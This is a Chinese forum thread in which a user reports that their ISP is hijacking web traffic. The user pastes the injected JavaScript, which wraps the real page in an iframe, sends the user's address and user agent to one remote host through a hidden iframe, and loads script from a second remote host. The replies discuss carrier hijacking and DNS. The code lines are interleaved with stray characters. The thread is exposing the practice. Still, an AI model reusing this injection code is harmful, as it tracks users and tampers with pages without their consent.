AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

PropellerAds
⚡️AdsPower:安全不封号,高效自动化广告专用虚拟卡/U充值/高返点皇家代理IP⚡️#1性价比⚡️Mediabuy⚡️玩家开户首选
【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️Taboola/Outbrain /Bing⚡️一级代理
开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放FB BM不限额,短id账单户
E.PN 虚拟卡BINOM TRACKER 60% OFF!比Adplexity还好用的Spy工具ADPLEXITY + ADVERTCN
7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款全球虚拟卡, 支持U充值Facebook 批量上广告
尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)FB 三不限源头 - 自助下户充值转款各种主页、账单户、BM户(优势)
⚡️TikTok企业户,bm户,账单户FB企业户,TT老户,GG老户源头海外CL企业户源头PTM虚拟卡[全新卡BIN+高返点]
PTM虚拟卡[OPENAI+全场景通用]FB虚拟卡⚡️消费越多返现越多最大欧洲Nutra网盟BA找量->Tyver SPY汇聚海量广告创意
高质量代理⚡️住宅⚡️移动广告位出租8500万高质量住宅IP,助力各种需求虚拟卡返佣1%,国内持牌机构
查看: 8571|回复: 12

[闲聊] 上网奇遇记

[复制链接]

44

主题

771

广告币

1423

积分

高级会员

Rank: 4

积分
1423
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
本帖最后由 hudba 于 2015-2-3 00:56 编辑 8 N0 h7 n1 G8 o5 u& y

1 H, r5 M* v; {5 `上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
* b) r+ p8 J2 m4 Y$ M) I$ E: d2 n# {. e$ {# S7 N
接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}
% e( x# O5 L, k# Q, _0 u3 k4 [1 p- [
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197

$ G4 {4 _) y2 b
" t6 F- v2 @7 ]  X- Q" s顺便查下ip138:
3 m8 x. z) ]  N0 D+ E$ c. A% d! x% r2 ]% s2 J
这是那段js里面的代码,好象是个半成品还没写入广告数据:
3 I) K  _+ Y5 v( d4 {# P
  1. function locationSearch() {; \/ E2 b3 k' O' O
  2.         var s = getMainJs();- F' b2 @' S6 D* C1 ]: s
  3.         if (s == null) {
    ) W/ y) f0 a' U/ r! a  P
  4.                 location.reload();* n! |8 h( v( }9 ]* @
  5.         }
    4 T* |: L* M/ J6 u* r- I4 o; v7 J2 w
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
    0 _: z6 c; Z) V$ |5 `( j9 \* D  o
  7. }$ W) s9 o- p, y/ W7 H8 K/ g' u: |) a

  8. ) l" V) k; {: m
  9. function getParameter(name, paraStr) {- \0 p, H+ [5 z
  10.         var result = "";
    . [( k( k. P/ ^; e5 d
  11.         var str = "&" + paraStr.split("?")[1];# r) E, `/ |6 v% j. p" N. k
  12.         var paraName = "&" + name + "=";
    . A* r$ m9 `& c8 g+ A; M- K
  13.         if (str.indexOf(paraName) != -1) {" x8 e( d) f+ r0 z" V9 E
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    " h  O3 j2 R% F3 b, h, x. _
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);: S9 _+ m' {" t; q0 M0 M
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    $ v5 B) d- Y0 |2 }, N
  17.                                         1, TmpStr.length).indexOf("&")+ E$ e* g$ A8 `# `9 h! B
  18.                                         - TmpStr.indexOf(paraName) + 1);4 T; N5 B  |" \: B5 f6 H; R2 {
  19.                 } else {
    7 f3 f5 a- U; W1 Y  N
  20.                         result = str.substring(str.indexOf(paraName), str.length);
    - \6 U, }1 Q) ~* P: k3 ~8 \
  21.                 }
    ( K/ \6 G& |, ~& a5 ?* }, N

  22. , a1 H# ?! t7 J
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    0 R2 w  b5 G( E: S/ M/ y5 j5 r+ s
  24.         } else {, h( i- _" s1 I+ F& y
  25.                 result = "No such parameter";
    & Q  {) E- f# @9 P- I
  26.         }
    6 S; O0 O/ L- D# X+ V
  27.         return (result.replace("&", ""));
    - j8 Z9 G+ c; ~7 i% Q
  28. }
    & r, I& f: F/ J. r! y
  29. 3 y. W  b4 [: z; ?9 t
  30. function getMainJs() {! D' [9 N  u+ W& e6 d: T/ \# s; e
  31.         var scripts = document.getElementsByTagName("script");) u8 H( n$ e3 w4 {6 w
  32.         var s = null;
    2 z7 t) n% @/ x0 j5 t" q( J
  33.         for (var i = 0; i < scripts.length; i++) {8 G5 T) X' x& K
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    2 M) l# X+ E6 i0 N) j$ H& Q
  35.                         s = scripts[i];
    ' L2 q! w* \2 I& m1 ]: W' L1 `
  36.                         break;
    4 C. y0 h3 ]6 @8 o+ [' c
  37.                 }
      W* O0 H& }3 O4 i3 X
  38.         }8 G9 [' b4 N) A4 h: c, p6 u
  39.         return s;) t6 Y5 b7 y; X. u8 w
  40. }. M) f. A( U; t: m) `

  41. % Y% [8 [# v5 n; {7 M/ o5 M  ^9 I
  42. function appendParam(oStr, aStr) {
    % Y) |+ _' c, s
  43.         if (oStr.indexOf('?') > 0) {
    - x$ @7 C. M- C7 v6 C
  44.                 oStr = oStr + "&" + aStr;
    $ Y+ M* n+ c  F0 `
  45.         } else {
    , |2 p6 e3 [. O! g+ C
  46.                 oStr = oStr + "?" + aStr;2 t- E/ D" h; b% k9 F
  47.         }
    1 |: j: f3 E+ V
  48.         return oStr;- }2 K2 [1 e8 V( X3 f" _
  49. }
    ) ^. X# s( f, u3 L

  50. 7 g# E- L. \' @' x5 S8 J0 [2 g
  51. window.onerror = function() {* i0 y  l" w7 z7 ]/ C: f8 b
  52. };1 _( \; |8 M) w! K
  53. ' X  Y+ M% M; L# |( e
  54. var g_titleTime = 0;
    % g4 J+ {$ y4 Q9 W9 Z/ M. w
  55. function setTcTitle() {
    ! y5 D  `! i0 y; e! m' I
  56.         if (undefined == document) {4 \5 ]- \, i' a  `
  57.                 g_titleTime++;- D4 B5 [0 j5 V0 }
  58.                 setTimeout("setTcTitle();", 1000);2 w: u5 H- R- h
  59.                 return;3 W" t* t8 B2 u! o
  60.         }1 x7 z$ `; E  Y  g* y3 o& J

  61. ) e' R: K/ c0 `" q
  62.         var doc;
    6 A9 E& \6 b' C* h  h- r# [
  63.         try {
    0 l) ?3 p6 G* m5 m& g
  64.                 if (document.all) {
    , Z, }* Z/ n3 h0 W' J
  65.                         doc = document.frames["cn"].document;' V$ E3 n! L" x. n5 O9 }0 Y
  66.                 } else {5 W( T% d) s7 d7 N: [% o/ S1 E! J
  67.                         doc = document.getElementById("cn").contentDocument;
    % Z) R; H. Q2 x3 |" m( H5 k
  68.                 }
    1 a- s5 ^! a# u: l6 j3 t
  69.         } catch (ex) {$ \6 {, \4 ~3 n9 l4 C1 d
  70.         }
      R, F3 l$ a/ X4 L3 h* ^

  71. $ x3 Z  v3 M$ Q8 c5 D& s
  72.         if (g_titleTime < 5
    0 a# r' R' L- H! Z2 i
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    # Z1 D5 m. [! R
  74.                 g_titleTime++;
    , M2 S! `" Z1 ]
  75.                 setTimeout("setTcTitle();", 1000);
    0 x4 k8 P7 \. Q- _9 G
  76.                 return;
    3 u* \/ U0 h& F; l
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {' ^/ f4 a5 k+ l
  78.                 document.title = doc.title;' ^' b. J6 G1 p
  79.                 setTcAdvVisible();
    + z4 m3 w# q* j8 S; p
  80.         }$ X  X0 Y; X; }4 n  l4 ^; K0 g
  81. }, ~; F5 f, e* m
  82. # \$ s9 P1 ]2 w
  83. setTimeout("setTcTitle();", 1000);4 M" j5 A7 {6 J% V4 r
  84. : a' Z/ h" D  i4 L! I
  85. var g_isHaveVisible = false;
    1 O% u! D  x$ H2 o
  86. function setTcAdvVisible() {& ^% f* `5 {5 v7 Z1 c1 F* n" T" [$ d
  87.         if (undefined != document && undefined != document.getElementById("addiv")0 W& W/ a8 W, ]( o( e
  88.                         && !g_isHaveVisible) {
    8 Q! @$ J+ u) ~: f( n) {
  89.                 document.getElementById("addiv").style.visibility = 'visible';, m: u/ A) ]! _1 m" b; L
  90.                 document.getElementById("addiv").style.display = 'block';9 ~( Z+ W4 x$ p
  91.                 g_isHaveVisible = true;
    + f8 ~& z6 D6 ~; V  T1 i
  92.         }- D( \$ n, Q5 j" M7 _0 w, E! W. X7 D
  93. }+ D( |% k: ?0 f; v5 Q' U0 y
  94. . ]8 H# @2 {1 E, w# V2 E3 b- b
  95. function UrlAnalyzer() {
    / c1 q3 o) n# D$ s& {' G& \- {
  96.         this.divda = "";9 z, u$ I' r9 W  z6 p
  97.         this.tctype = "";
    " _& _5 G8 u8 l, y: ?; H% |7 X
  98.         this.radius = "";
    . g, c- H; Z  j6 P# r$ z
  99.         this.rlu = "";/ C! F0 A  R  R
  100. }
    , }! p. C7 F, ?. q0 z
  101. + _  `) g1 ^0 q* k+ P8 x+ X
  102. UrlAnalyzer.prototype.initParameters = function() {8 {# v$ d5 N; z
  103.         var paraStr = locationSearch();
    & }- v3 S, W4 d: a: \* w
  104.         this.rlu = getParameter("lruedct", paraStr);+ c# _; [! Y& S
  105.         this.divda = getParameter("divda", paraStr);) h) ?: L; Q6 q9 j6 D  ]- e* f
  106.         this.radius = getParameter("radius", paraStr);8 l$ p& l8 V  j% T( o, E9 e5 |
  107.         this.tctype = getParameter("tctype", paraStr);
    * n& O1 J4 e- N; o" p" n& R
  108.         this.address = getParameter("address", paraStr);
    3 U0 F2 p9 F/ L
  109.         this.usagent = getParameter("usagent", paraStr);
    $ ]# O( Y: O  h, D; F7 Q/ h
  110. }
    9 E( s, [1 u" d# v2 G1 Z3 c

  111. 7 q1 p8 ]7 {; {
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {1 N$ E! }+ u- S' F% @
  113.         var doc;& N2 n9 g) w3 H" }1 c
  114.         try {6 n4 m- Y! W! K: n' E) h
  115.                 if (document.all) {
    8 s1 O  @0 p  {
  116.                         doc = document.frames["cn"].document;
    4 W: f  V+ H9 e8 z" W* @7 g. e

  117. 8 K+ [' T. i4 ?
  118.                 } else {
    ; I0 Z+ w; K! R& A1 @
  119.                         doc = document.getElementById("cn").contentDocument;4 a% J0 ~6 D! S6 |* B1 _" [
  120.                         // doc = document.getElementById("cn").contentWindow.document;" y# j- N8 q) K! w$ M% ~
  121.                 }# ?0 j/ l0 L, _' h& I7 H6 g0 j* B
  122.         } catch (ex) {
    - H7 X  [4 F+ \7 B% Y  K4 f
  123.         }+ V3 K2 S  J# `- c" `6 j  U7 M% k
  124.         return doc;. v; q. ~* G3 w. b
  125. }' F& \0 e9 Q( l2 Y) ?- i) {
  126. : E  K% ]  {* Q9 i% J; l0 H
  127. UrlAnalyzer.prototype.setDomain = function() {
    4 C' n/ X( `; L. b5 M9 r, N2 z
  128.         if (undefined != document.title && "" == document.title)
    ( y4 z) l7 ]: B) c9 e/ A
  129.         {+ _  k: @( x- {8 N( v1 R, z
  130.                 var index = document.domain.indexOf(".");
    # b. H* X) Y* U0 g
  131.                 if (undefined != index && -1 != index) {* A  {1 i) N) o2 g# A0 [
  132.                         document.domain = document.domain.substring(index + 1,  {4 U, _/ H) b$ {
  133.                                         document.domain.length);) J% M3 [- B+ g7 D
  134.                 }" `! p* i5 R8 l3 l% y, a: A
  135.                 ( u& X$ a$ E! _' h
  136.                 var doc = this.getHtmlDoc();# v; {% w- ], U; `
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {# M( `/ B: j$ v# b5 s6 Q
  138.                         document.title = doc.title;" A$ M2 P/ P* d$ g1 q1 @/ M
  139.                         setTcAdvVisible();) a  k0 z6 a5 R/ [
  140.                 }
    , X2 C( ^/ L7 g% p9 {) ?. E
  141.         }, i' ]' Z# `( n6 K2 h. Z7 z3 Q
  142. }! a! a: {# @; t9 W1 b7 m! e1 h
  143. , u% {; o. V; {) ?# _5 z6 X
  144. UrlAnalyzer.prototype.iframeCallback = function() {
    : p. v8 [% s* J' e3 B6 z) ?
  145.         var doc = this.getHtmlDoc();
    : q& K% ^7 v1 o, w  _8 [1 c  T/ j' M
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
    - R9 @; y, a2 G+ p/ p
  147.                 if (undefined != document.domain) {
    ' P& \6 y# N% e2 |* f
  148. 8 P! ^  i- N' p: C" a
  149.                         var self = this;! J: ~+ F2 h/ Y- x8 G
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);4 D0 ~) G5 s, O0 b' H( n
  151.                         // var index = document.domain.indexOf(".");
    ! X9 D: s: H- G/ d
  152.                         // if (undefined != index && -1 != index) {+ U6 D% T6 ~7 N$ v; ^* f9 }
  153.                         // document.domain = document.domain.substring(index + 1,
    ; @/ t. {2 H% M% p
  154.                         // document.domain.length);
    0 M2 w# p- p, S! R. r% z9 K
  155.                         // }* k2 D+ v  C! L$ q2 k
  156.                         //
    & {, \8 d+ e7 S6 E$ o
  157.                         // var doc = this.getHtmlDoc();
    ; _0 h$ j) `, S
  158.                         // if (undefined != doc && undefined != doc.title && "" !=. t' ]  A- m# K8 A$ ]4 G7 w; O
  159.                         // doc.title) {
    6 S% D  ^- [+ I5 i
  160.                         // document.title = doc.title;
    $ g( Q1 K# w1 b/ @
  161.                         // setTcAdvVisible();! X+ \9 `& P" n3 l$ f: g( L: E
  162.                         // }
    + [1 h& [: R6 ^! W" w4 B
  163.                 }3 |+ g8 D% A) g8 G& b8 o; H
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    ! _" V0 d) @) [0 V
  165.                 document.title = doc.title;8 U3 @0 P; W5 S
  166.                 setTcAdvVisible();% j7 c8 I- {( r. X7 `/ F1 N5 n& t. @
  167.         }/ _$ y" y& G$ y' ~+ W( ?$ G
  168. }
    9 ^; z! o8 U& ]- Z) ~

  169. 6 R; z- _# G, I7 s- r& m3 J8 K
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {
    3 F' K& {  q2 T) N1 Q- J" C
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda% ?7 w- P6 l( l& x9 F4 x
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;9 y7 c# {  t8 j0 ?% M6 s
  173. ! m% @4 U" C- _/ X+ s" R2 X) m" C
  174.         var htmlStr = "<iframe src="" + staUrl
    - o( L; x3 Y6 f3 N4 j& `) h
  175.                         + "" style="display:none"></iframe>";
    5 {% e- H# P- f( y
  176. ) q# `2 n2 K/ L8 w
  177.         var advUrl = htmlStr
    , T/ L% V2 C6 O; y3 t  t0 I
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="5 h+ o* n. f. P1 R5 @
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";" T- i2 v1 c' Z- r- [
  180.         document.write(advUrl);
    ! B( j) |* I: C2 F

  181. ! f* _7 u2 Q8 \' a& j: B* c: c
  182.         var self = this;
    9 h. @9 P- m# R# A
  183.         var iframe = document.getElementById("cn");
    6 K7 e* C$ m5 z% A- w
  184.         if (iframe.attachEvent) {
    ( ]# k5 S+ N+ Q3 Z0 b$ P$ ~
  185.                 iframe.attachEvent("onload", function() {7 S7 k* s0 @" K. h; @1 v
  186.                         self.iframeCallback.call(self, null);$ f: D% f' L7 X
  187.                 });1 I$ y' |- L" \, X* F9 b# G, ]( D
  188.         } else {
    . ?% b6 B3 y) W4 }; }
  189.                 iframe.onload = function() {
    2 f% L% S, m4 s6 L! e
  190.                         self.iframeCallback.call(self, null);
    ' }/ ^2 a# X( F7 d$ P" L, e
  191.                 }6 K2 h% T2 Y- X$ }
  192.         }" k* `; B2 P3 n' S2 S. J
  193. }
    & D# O( I& V( ^( P2 M- Q0 x

  194. : o5 L. I/ O: j1 J0 z) L4 |2 t
  195. UrlAnalyzer.prototype.executeMain = function() {$ D) |$ f0 L# J3 v8 f% V
  196.         var mainFrame = document.getElementById("cn");
    7 [) ~" @  F, P6 d8 B5 j% Y' k- K
  197.         mainFrame.contentWindow.location.href = mainFrame.src;
    % b/ I& N: E, s) F) r; v; R
  198.         this.initParameters();
    8 v+ I; x' a" q2 }. s1 N
  199.         this.executeHtmlContext();
    & Y9 e  f" ~" s6 K+ ^) K; v" @. ]
  200. }1 S  R3 ^" W) i* F  V7 Z7 ~
  201. " P0 H% U5 x8 ~: w5 K( Q
  202. var g_analyzer = new UrlAnalyzer();
    * E+ S4 k4 d* d2 j) s3 N
  203. g_analyzer.executeMain();
    ' T$ k- \6 J: h3 P
复制代码

; O  {5 n6 A2 d* F
' s, V* h* U; t+ F
% L' {5 @3 P7 Q  i& R0 J. Y+ q

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

52

主题

456

广告币

842

积分

中级会员

Rank: 3Rank: 3

积分
842
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

348

广告币

595

积分

中级会员

Rank: 3Rank: 3

积分
595
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1730

广告币

2028

积分

高级会员

Rank: 4

积分
2028
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

70

广告币

498

积分

中级会员

Rank: 3Rank: 3

积分
498
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:490 N1 C, U1 q0 u$ v9 ^6 ^
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

5 T. ^# Y6 o' |TCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:26
) @% y" v4 H7 t7 a2 t) }TCP劫持,换DNS也不管用的。

1 D2 X7 K* ]0 ?' Z8 t幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

915

广告币

1212

积分

高级会员

Rank: 4

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2025-11-5 03:05 , Processed in 0.055570 second(s), 14 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表